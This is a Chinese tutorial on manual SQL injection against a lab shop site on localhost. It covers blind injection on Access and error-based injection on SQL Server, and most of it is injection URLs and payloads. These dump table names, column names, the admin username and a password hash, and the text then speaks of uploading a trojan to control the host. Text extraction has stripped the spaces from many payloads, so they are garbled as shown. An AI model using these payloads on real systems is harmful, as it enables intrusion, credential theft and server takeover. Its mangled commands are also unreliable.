全程图解手工注入.docx
《全程图解手工注入.docx》由会员分享,可在线阅读,更多相关《全程图解手工注入.docx(11页珍藏版)》请在冰点文库上搜索。
全程图解手工注入
全程图解手工注入
回忆起刚学注入的时候,网上的教程杂乱无章,更郁闷的是。
文章被无数次转载,很多常用的命令都出现错误,导致学习的很慢,差点对手工注入失去了信心。
为了帮助初学者学习手工注入,从盲注和sql显错方式注入详细的写了图解教程,希望对初学者有帮助。
第一部分盲注过程(使用了access数据库)
一、寻找注入点:
使用经典的1=1和1=2测试法
输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26,显示
输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26and1=1时,显示
输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26and1=2时,显示
发生异常,存在注入漏洞.
二、判断数据库类型
(一)iis允许返回错误的情况
输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26anduser>0,显示
“MicrosoftJETDatabaseEngine(0x80040E07)标准表达式中数据类型不匹配”,表明数据库为Access。
(二)如果服务器IIS不允许返回错误,就从从Access和SQLServer和区别入手。
Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表
[sysobjects]中,在Web环境下可正常读取。
输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26and(selectcount(*)frommsysobjects)>0,显示如下图,由此可判断数据库类型为Access。
三猜表名
输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26andexists(select*from[admin]),显示正常,证明数据库中存在admin表
如果不存在某字段,比如“XXX”,输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26andexists(select
*from[XXX],则显示错误
四、猜列名
输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26andexists(select[username]from[admin]),显示正常,说明admin表存在username字段
如果不存在,则显示错误。
五、猜字段长度和内容
准备猜admin中username字段的第一条记录的长度,输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26and(selecttop1len(username)fromAdmin)>0此语句的意思是,username的长度与0,1,2,3,4,5,6等数字比较,显然,如果字段长度为2,则2>0,1成立,2之后的数字不成立。
,如图
说明username中第一条记录的长度是2,然后猜测它的内容。
用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码。
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码。
输入http:
//127.0.0.1/shop/Shop(Access)/looknews.asp?
id=26and(selecttop1asc(mid(username,1,1))fromAdmin)>0,1,2…,当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。
同理用and(selecttop1asc(mid(username,2,1)fromAdmin)>0,,2…到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r,说明第一个用户名为mr。
同理,可以pass字段的值。
这样猜解自然比较累,效率也不高,可以用折半法,写成程序猜解。
我们这样就得到了后台的数据库用户名和密码。
之后就可以上传自己的马了,进而控制主机。
第二部分sqlserver显错模式注入
一、寻找注入点:
使用经典的1=1和1=2测试法
输入http:
//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?
id=20%20and%201=1显示正常。
输入http:
//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?
id=20%20and%201=2,出错,说
明存在注入点。
下一步判断数据库类型。
二、判断数据库类型和数据库名
输入http:
//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?
id=20anduser>0,如图:
表明是SQLServer数据库,错误提示开启。
user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。
拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,转换过程中会出错,如图“将nvarchar值'dbo'转换成数据类型int时失败”,说明当前用户是sa登录。
如果服务器IIS不允许返回错误提示,可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
通过http:
//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?
id=20and(selectcount(*)fromsysobjects)>0
http:
//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?
id=20and(selectcount(*)frommsysobjects)>0
也可以判断出数据库类型。
也可以用“and0<>(select@@version)--”返回对方系统的版本和sql具体版本。
输入后,如图
进一步,输入http:
//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?
id=20anddb_name()>0,返回数据库名,如图
可得到数据库名为“shop”。
三猜表名
因为本网站可以显示错误,根据SQLServer数据库的特点,可以附加一些特殊的语句来达到爆出数据库的表名,列名以及内容。
如果不能显示错误,可以用猜测和折半法相结合的方式,得到这些信息,这种方法在Access数据库注入过程中已经体现,下文用附加特殊语句的方式来得到这些信息。
SQLSERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中,数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。
我们常用到的参数有三个,name(数据表的名字),xtype(数据表的类型u为用户表),id(数据表的对象标志)。
我们附加这样一段语句“and(selecttop1namefromsysobjectswherextype=’U’)>0”
得到shop的第一个表名“user”,然后附加“and(selecttop1namefromsysobjectswherextype=’U’andnamenotin(‘user’))>0”,得到第二个表名,如图
得到第二个表名“bigclass”,依此类推,得到“class”“admin”等所有用户表。
四、猜列名
我们对admin进行列名猜解。
用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME(table_id,column_id)”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects中的标识号,column_id=1,2,3表明admin的第1,2,3列,于是构造
and(selecttop1col_name(object_id(‘admin’),1)fromsysobjects)>0,如图:
得到admin字段的第一个列名“username”依次类推,得到“pass”“vip”等。
五、猜字段内容
我们附加“and(selecttop1usernamefrom[admin])>0”显示结果如图:
可得到用户名“mr”,再附加“and(selecttop1passfrom[admin])>0”,如图:
这样,我们就得到了mr用户密码的md5值'd7b0a59bada06ad1'。
我们有了后台的用户名密码,就可以进行下一步攻击。